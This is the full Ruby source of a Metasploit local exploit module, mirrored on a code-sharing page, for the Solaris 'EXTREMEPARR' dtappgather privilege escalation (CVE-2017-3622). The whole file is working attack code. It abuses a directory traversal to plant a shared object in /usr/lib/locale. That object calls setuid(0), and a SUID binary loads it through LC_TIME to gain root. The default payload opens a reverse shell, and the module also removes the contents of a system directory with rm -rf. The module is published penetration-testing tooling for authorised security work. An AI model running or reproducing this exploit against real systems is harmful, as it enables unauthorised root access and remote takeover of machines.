Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb
19852 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Solaris::Priv
11
include Msf::Post::Solaris::System
12
include Msf::Post::Solaris::Kernel
13
include Msf::Exploit::EXE
14
include Msf::Exploit::FileDropper
15
prepend Msf::Exploit::Remote::AutoCheck
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => "Solaris 'EXTREMEPARR' dtappgather Privilege Escalation",
22
'Description' => %q{
23
This module exploits a directory traversal vulnerability in the
24
`dtappgather` executable included with Common Desktop Environment (CDE)
25
on unpatched Solaris systems prior to Solaris 10u11 which allows users
26
to gain root privileges.
27
28
dtappgather allows users to create a user-owned directory at any
29
location on the filesystem using the `DTUSERSESSION` environment
30
variable.
31
32
This module creates a directory in `/usr/lib/locale`, writes a shared
33
object to the directory, and runs the specified SUID binary with the
34
shared object loaded using the `LC_TIME` environment variable.
35
36
This module has been tested successfully on:
37
38
Solaris 9u7 (09/04) (x86);
39
Solaris 10u1 (01/06) (x86);
40
Solaris 10u2 (06/06) (x86);
41
Solaris 10u4 (08/07) (x86);
42
Solaris 10u8 (10/09) (x86);
43
Solaris 10u9 (09/10) (x86).
44
},
45
'References' => [
46
['BID', '97774'],
47
['CVE', '2017-3622'],
48
['EDB', '41871'],
49
['URL', 'https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh'],
50
['URL', 'http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html']
51
],
52
'Notes' => {
53
'Stability' => [CRASH_SAFE],
54
'SideEffects' => [],
55
'Reliability' => [],
56
'AKA' => ['EXTREMEPARR']
57
},
58
'License' => MSF_LICENSE,
59
'Author' => [
60
'Shadow Brokers', # exploit
61
'Hacker Fantastic', # dtappgather-poc.sh
62
'bcoles' # Metasploit
63
],
64
'DisclosureDate' => '2017-04-24',
65
'Privileged' => true,
66
'Platform' => ['solaris', 'unix'],
67
'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC],
68
'Targets' => [['Auto', {}]],
69
'SessionTypes' => ['shell', 'meterpreter'],
70
'DefaultOptions' => {
71
'PAYLOAD' => 'solaris/x86/shell_reverse_tcp',
72
'WfsDelay' => 10,
73
'PrependFork' => true
74
},
75
'DefaultTarget' => 0
76
)
77
)
78
register_options [
79
# Some useful example SUID executables:
80
# * /usr/bin/at
81
# * /usr/bin/cancel
82
# * /usr/bin/chkey
83
# * /usr/bin/lp
84
# * /usr/bin/lpset
85
# * /usr/bin/lpstat
86
# * /usr/lib/lp/bin/netpr
87
# * /usr/sbin/lpmove
88
OptString.new('SUID_PATH', [true, 'Path to suid executable', '/usr/bin/at']),
89
OptString.new('DTAPPGATHER_PATH', [true, 'Path to dtappgather executable', '/usr/dt/bin/dtappgather'])
90
]
91
register_advanced_options [
92
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
93
]
94
end
95
96
def suid_bin_path
97
datastore['SUID_PATH']
98
end
99
100
def dtappgather_path
101
datastore['DTAPPGATHER_PATH']
102
end
103
104
def mkdir(path)
105
vprint_status "Creating directory '#{path}'"
106
cmd_exec "mkdir -p '#{path}'"
107
register_dir_for_cleanup path
108
end
109
110
def upload(path, data)
111
print_status "Writing '#{path}' (#{data.size} bytes) ..."
112
rm_f path
113
write_file path, data
114
register_file_for_cleanup path
115
end
116
117
def upload_and_compile(path, data)
118
upload "#{path}.c", data
119
120
output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -fPIC -shared -g -lc -o #{path} #{path}.c"
121
unless output.blank?
122
print_error output
123
fail_with Failure::Unknown, "#{path}.c failed to compile"
124
end
125
126
register_file_for_cleanup path
127
end
128
129
def symlink(link_target, link_name)
130
vprint_status "Symlinking #{link_target} to #{link_name}"
131
rm_f link_name
132
cmd_exec "ln -sf #{link_target} #{link_name}"
133
register_file_for_cleanup link_name
134
end
135
136
def check
137
[dtappgather_path, suid_bin_path].each do |path|
138
unless setuid? path
139
vprint_error "#{path} is not setuid"
140
return CheckCode::Safe
141
end
142
vprint_good "#{path} is setuid"
143
end
144
145
unless has_gcc?
146
vprint_error 'gcc is not installed'
147
return CheckCode::Safe
148
end
149
vprint_good 'gcc is installed'
150
151
version = kernel_release
152
if version.to_s.eql? ''
153
vprint_error 'Could not determine Solaris version'
154
return CheckCode::Detected
155
end
156
157
unless Rex::Version.new(version).between? Rex::Version.new('5.7'), Rex::Version.new('5.10')
158
vprint_error "Solaris version #{version} is not vulnerable"
159
return CheckCode::Safe
160
end
161
vprint_good "Solaris version #{version} appears to be vulnerable"
162
163
CheckCode::Appears
164
end
165
166
def exploit
167
if is_root?
168
fail_with Failure::BadConfig, 'Session already has root privileges'
169
end
170
171
unless writable? datastore['WritableDir']
172
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
173
end
174
175
# Remove appmanager directory and contents
176
appmanager_path = '/var/dt/appconfig/appmanager'
177
vprint_status "Cleaning appmanager directory #{appmanager_path}"
178
cmd_exec "chmod -R 755 #{appmanager_path}/*"
179
cmd_exec "rm -rf #{appmanager_path}/*"
180
rm_f appmanager_path
181
182
# Create writable directory in /usr/lib/locale
183
locale_path = '/usr/lib/locale'
184
locale_name = rand_text_alphanumeric 5..10
185
new_dir = "#{locale_path}/#{locale_name}"
186
vprint_status "Creating directory #{new_dir}"
187
depth = 3
188
cmd_exec 'DTUSERSESSION=. /usr/dt/bin/dtappgather'
189
depth.times do
190
cmd_exec 'DTUSERSESSION=.. /usr/dt/bin/dtappgather'
191
end
192
symlink locale_path, appmanager_path
193
cmd_exec "DTUSERSESSION=#{locale_name} #{dtappgather_path}"
194
unless cmd_exec("ls -al #{locale_path} | grep #{locale_name}").to_s.include? locale_name
195
fail_with Failure::NotVulnerable, "Could not create directory #{new_dir}"
196
end
197
198
print_good "Created directory #{new_dir}"
199
register_dir_for_cleanup new_dir
200
201
rm_f appmanager_path
202
cmd_exec "chmod 755 #{new_dir}"
203
204
# Upload and compile shared object
205
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
206
mkdir base_path
207
208
payload_name = ".#{rand_text_alphanumeric 5..10}"
209
payload_path = "#{base_path}/#{payload_name}"
210
211
so = <<-EOF
212
void __attribute__((constructor)) cons() {
213
setuid(0);
214
setgid(0);
215
execle("#{payload_path}", "", 0, 0);
216
_exit(0);
217
}
218
EOF
219
220
so_name = ".#{rand_text_alphanumeric 5..10}"
221
so_path = "#{base_path}/#{so_name}"
222
upload_and_compile so_path, so
223
224
vprint_status "Writing shared objects to #{new_dir}"
225
cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.2'"
226
register_file_for_cleanup "#{new_dir}/#{locale_name}.so.2"
227
cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.3'"
228
register_file_for_cleanup "#{new_dir}/#{locale_name}.so.3"
229
230
# Upload and execute payload
231
upload payload_path, generate_payload_exe
232
cmd_exec "chmod +x #{payload_path}"
233
234
print_status 'Executing payload...'
235
cmd_exec "LC_TIME=#{locale_name} #{suid_bin_path} & echo "
236
end
237
end
238
239